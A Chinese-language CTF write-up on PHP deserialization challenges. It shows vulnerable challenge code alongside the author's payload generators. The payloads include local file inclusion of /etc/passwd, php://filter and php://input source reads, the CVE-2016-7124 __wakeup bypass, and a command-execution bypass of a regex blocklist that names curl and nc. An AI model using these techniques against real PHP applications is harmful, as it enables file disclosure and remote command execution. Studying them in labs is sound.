前言 最近在刷题过程中发现对PHP反序列化的理解还不够深刻,对于其如何通过序列化的漏洞达到执行恶意代码的过程不够清晰,于是我将遇到的PHP反序列化题目整理到这篇文章中,后续将会持续更新
如果对php反序列化的概念还不了解,可以看我之前的文章PHP中的反序列化 | 北轨的博客 (beigui.xyz)
第一题 反序列化和文件包含的简单结合 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php include "flag.php" ;class Connection { public $file ; public function __construct ($file ) { $this ->file = $file ; } public function __sleep ( ) { $this ->file = 'sleep.txt' ; return array ('file' ); } public function __destruct ( ) { include ($this ->file); } } if (isset ($_GET ['un' ])) { $obj2 = unserialize ($_GET ['un' ]); } else { highlight_file (__file__); }
根据我添加的注释可以看到代码大体可以分为三个部分,而问题的关键在于我们通过反序列化的方式将数据传递到connection类中的file参数从而实现文件包含。我们本地先创建一个使用与connection相同结构的类,创建序列化数据
1 2 3 4 5 6 7 8 9 10 11 12 13 class Connection { public $file ; public function __sleep ( ) { $this ->file = '/etc/passwd' ; return array ('file' ); } } $p = new Connection ();$a = serialize ($p );echo $a ;?>
我们将/etc/passwd通过反序列化赋值到file之中,从而验证是否存在文件包含漏洞,根据回显结果证明确实存在漏洞
将参数改为php://filter/read=convert.base64-encode/resource=flag.php 从而使用php伪协议,尝试读取flag.php源码,并成功读取
base64解码得到flag
第二题 __wakeup函数绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include "flag.php" ;class Connection { public $file ; public function __construct ($file ) { $this ->file = $file ; } public function __sleep ( ) { $this ->file = 'sleep.txt' ; return array ('file' ); } public function __wakeup ( ) { $this ->file = 'wakeup.txt' ; } public function __destruct ( ) { include ($this ->file); } } if (isset ($_GET ['un' ])) { $obj2 = unserialize ($_GET ['un' ]); } else { highlight_file (__file__); }
这道题目与上道题目非常相似,区别在于使用__wakeup这个魔法函数,此函数的作用是将在执行unserialize()时,先会调用这个函数 ,所以我们使用上一道题目的payload执行是回显示wakeup.txt文档中的内容,使用CVE-2016-7124进行绕过,可以参考这篇文章 理解这个漏洞。成功绕过魔术方法读取flag.php源码。
第三题 反序列化和file_get_contents() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (0 );include ("flag.php" );class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("good" ); } } } $txt = $_GET ["txt" ];$password = $_GET ["password" ]; if (!isset ($txt )){ show_source (__FILE__ ); exit (); } if (file_get_contents ($txt ,'r' )==="welcome to the tctf" ){ echo "hello friend!<br>" ; $password = unserialize ($password ); echo $password ; }else { echo "something wrong! try it again" ; } ?>
要想得到flag值–>需要读flag.php页面的源码
要想读flag.php页面的源码–>需要执行file_get_contents($this->file)(很明显,需要执行该函数,且file属性值为flag.php)
要想执行file_get_contents($this->file)函数–>需要执行tostring魔术方法
要想执行tostring魔术方法–>需要当前类的实例化对象被当做字符串处理
要想当前类的实例化对象被当做字符串处理–>需要执行p a s s w o r d = u n s e r i a l i z e ( password = unserialize(password=unserialize(password);echo $password;
要想执行上一步的代码–>需要对传入的txt参数进行绕过过滤
要想绕过过滤–>需要给txt传入php://input伪协议,同时以POST形式提交数据welcome to the aegis
1 2 3 4 5 6 7 8 9 10 <?php class Flag { public $file ='flag.php' ; } $chen = new Flag ();echo serialize ($chen );
bugku题目 安慰奖 知识点:wake_uph函数绕过以及private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php header ("Content-Type: text/html;charset=utf-8" );error_reporting (0 );echo "<!-- YmFja3Vwcw== -->" ; class ctf { protected $username = 'hack' ; protected $cmd = 'NULL' ; public function __construct ($username ,$cmd ) { $this ->username = $username ; $this ->cmd = $cmd ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if (preg_match ("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i" , $this ->cmd)) { exit ('</br>flag能让你这么容易拿到吗?<br>' ); } if ($this ->username === 'admin' ) { $a = `$this ->cmd`; var_dump ($a ); }else { echo "</br>给你个安慰奖吧,hhh!</br>" ; die (); } } } $select = $_GET ['code' ]; $res =unserialize (@$select ); ?>
可以看懂题目中构建了class类为ctf其中构造了三个函数,当参数传递到类当中是回执行wake_up函数将username==guest,使__destruct中的条件无法满足,所以我们需要绕过wake_up函数,另外对于protected创建的变量需要对其进行url编码才能使其空白字符可见,从而完成反序列化操作,使用tac函数便可绕过preg_match函数实现读取flag
1 2 3 4 5 6 7 8 9 class ctf { protected $username ='admin' ; protected $cmd ='tac flag.php' ; } $p = new ctf ();$res = serialize ($p );echo urlencode ($res );?>